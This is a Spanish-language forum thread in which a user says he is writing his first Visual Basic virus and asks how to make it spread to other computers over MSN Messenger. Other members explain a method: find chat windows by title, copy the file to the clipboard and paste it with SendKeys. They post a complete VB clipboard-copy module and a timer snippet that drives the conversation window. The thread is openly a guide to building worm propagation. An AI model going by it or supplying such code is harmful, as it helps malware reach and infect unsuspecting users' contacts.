hola señores, estoy intentando crear mi primer virus en VB, pero hablo de un virus bien dicho, osea que se propague a otros equipos.
que metodos puedo utilizar en VB para esto?
estuve probandon con el senfile de las apis del messenger, pero me entere que se dio de baja esa funcion por el spam
que otras formas de mandar archivos por msn puedo usar?
pues, creo que primero debes dominar la API del messenger, para escribir, enviar archivos, abrir conversaciones, etc... y luego de hay, podras ir sacando como enviar archivos y eso! ;)
P.D: La API del msn no es tan dificil de utilizar!
Salu2's! cool
Copias el archivo al portapeles, centras el foco en la conversacion y luego ya basta con sendkeys("^V").
bueno yo estuve jugando .. con las apis del msn .. pero tenia algunos problemas .. asi lo que opte ... fue obtener el titulo de la ventana ... y buscar en ellas palabras como "- Conversacion" [para el msn en spañol] o "- Conversation" [para el msn en ingles ] ..basicamente almacene las palabras a buscar en un array ...y si la ventana activa .. tenia algunas de las palabras en el array .. pos copiaba el archivo al portapapeles y lo enviaba con sedkeys .. :P
pd : le alcanzara mi codigo .. pero toy de vacciones en otra ciudad :P [ no toy cerca a mi pc XD ]
Cita de: ArcheritONE en 10 Febrero 2008, 21:20 PM
Copias el archivo al portapeles, centras el foco en la conversacion y luego ya basta con sendkeys("^V").
Como haces para copiar un archivo al portapapeles? me interesa
Salu2
Aquí tienes un modulo ya hecho para hacer eso:
Option Explicit
'---------------------------------------------------------------------------------------
' Module : mCopyFilesClipboard
' DateTime : 05/02/2008 00:52
' Author : Cobein
' Mail : cobein27@hotmail.com
' Purpose : Copy files to clipboard
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'---------------------------------------------------------------------------------------
Private Const GHND As Long = &H42
Private Const CF_HDROP As Long = &HF
Private Type POINTAPI
x As Long
y As Long
End Type
Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
'---------------------------------------------------------------------------------------
'Sample Code
'Private Sub Form_Load()
' CopyClipboard Me.hWnd, Array("c:\file1.txt", "c:\file2.txt")
'End Sub
'---------------------------------------------------------------------------------------
'
'---------------------------------------------------------------------------------------
' Procedure : CopyClipboard
' Purpose :
'---------------------------------------------------------------------------------------
Public Function CopyClipboard(ByVal hWnd As Long, ByVal vFiles As Variant) As Boolean
Dim hGlobal As Long
Dim tDROPFILES As DROPFILES
Dim lpGlobal As Long
Dim sFiles As String
sFiles = Join(vFiles, vbNullChar) & vbNullChar
Call OpenClipboard(hWnd)
Call EmptyClipboard
hGlobal = GlobalAlloc(GHND, Len(tDROPFILES) + Len(sFiles))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)
tDROPFILES.pFiles = Len(tDROPFILES)
Call CopyMemory(ByVal lpGlobal, tDROPFILES, Len(tDROPFILES))
Call CopyMemory(ByVal (lpGlobal + Len(tDROPFILES)), ByVal sFiles, Len(sFiles))
Call GlobalUnlock(hGlobal)
Call SetClipboardData(CF_HDROP, hGlobal)
Call GlobalFree(hGlobal)
CopyClipboard = True
End If
Call CloseClipboard
End Function
Fuente:http://www.recursosvisualbasic.com.ar/foro/copiar-archivos-al-portapapeles-t1630.0.html
Private Sub Timer1_Timer()
On Error GoTo error:
AppActivate "Conversación"
SendKeys "Aca lo que tu quieras"
SendKeys "{ENTER}"
error:
End Sub
Cita de: ArcheritONE en 15 Febrero 2008, 19:53 PM
Aquí tienes un modulo ya hecho para hacer eso:
Option Explicit
'---------------------------------------------------------------------------------------
' Module : mCopyFilesClipboard
' DateTime : 05/02/2008 00:52
' Author : Cobein
' Mail : cobein27@hotmail.com
' Purpose : Copy files to clipboard
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'---------------------------------------------------------------------------------------
Private Const GHND As Long = &H42
Private Const CF_HDROP As Long = &HF
Private Type POINTAPI
x As Long
y As Long
End Type
Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
'---------------------------------------------------------------------------------------
'Sample Code
'Private Sub Form_Load()
' CopyClipboard Me.hWnd, Array("c:\file1.txt", "c:\file2.txt")
'End Sub
'---------------------------------------------------------------------------------------
'
'---------------------------------------------------------------------------------------
' Procedure : CopyClipboard
' Purpose :
'---------------------------------------------------------------------------------------
Public Function CopyClipboard(ByVal hWnd As Long, ByVal vFiles As Variant) As Boolean
Dim hGlobal As Long
Dim tDROPFILES As DROPFILES
Dim lpGlobal As Long
Dim sFiles As String
sFiles = Join(vFiles, vbNullChar) & vbNullChar
Call OpenClipboard(hWnd)
Call EmptyClipboard
hGlobal = GlobalAlloc(GHND, Len(tDROPFILES) + Len(sFiles))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)
tDROPFILES.pFiles = Len(tDROPFILES)
Call CopyMemory(ByVal lpGlobal, tDROPFILES, Len(tDROPFILES))
Call CopyMemory(ByVal (lpGlobal + Len(tDROPFILES)), ByVal sFiles, Len(sFiles))
Call GlobalUnlock(hGlobal)
Call SetClipboardData(CF_HDROP, hGlobal)
Call GlobalFree(hGlobal)
CopyClipboard = True
End If
Call CloseClipboard
End Function
Fuente:http://www.recursosvisualbasic.com.ar/foro/copiar-archivos-al-portapapeles-t1630.0.html
Ok, muchas gracias, llevaba tiempo comiendome la cabeza con eso.
Salu2
Como puedo usar esas Apis pero en VIsualBasciScript ???
este es un post de hace 5 meses :¬¬, aca me parece no se trata el tema de VBS ,lo tendrias que hacer me parece en el foro de Scripting...
saludos.
Ok Disculpame estoy que me meto en todos los post y no me di cuenta que estaba por VB .. y no en Scripting Sorry ;D
Cita de: Zaraki_lkenpachi en 21 Julio 2008, 10:53 AM
Ok Disculpame estoy que me meto en todos los post y no me di cuenta que estaba por VB .. y no en Scripting Sorry ;D
Ok , por cierto al post lo peor(en mi punto de vista) es usar la api del msn ya que es una dependencia es mejor aprender el MSN protocol.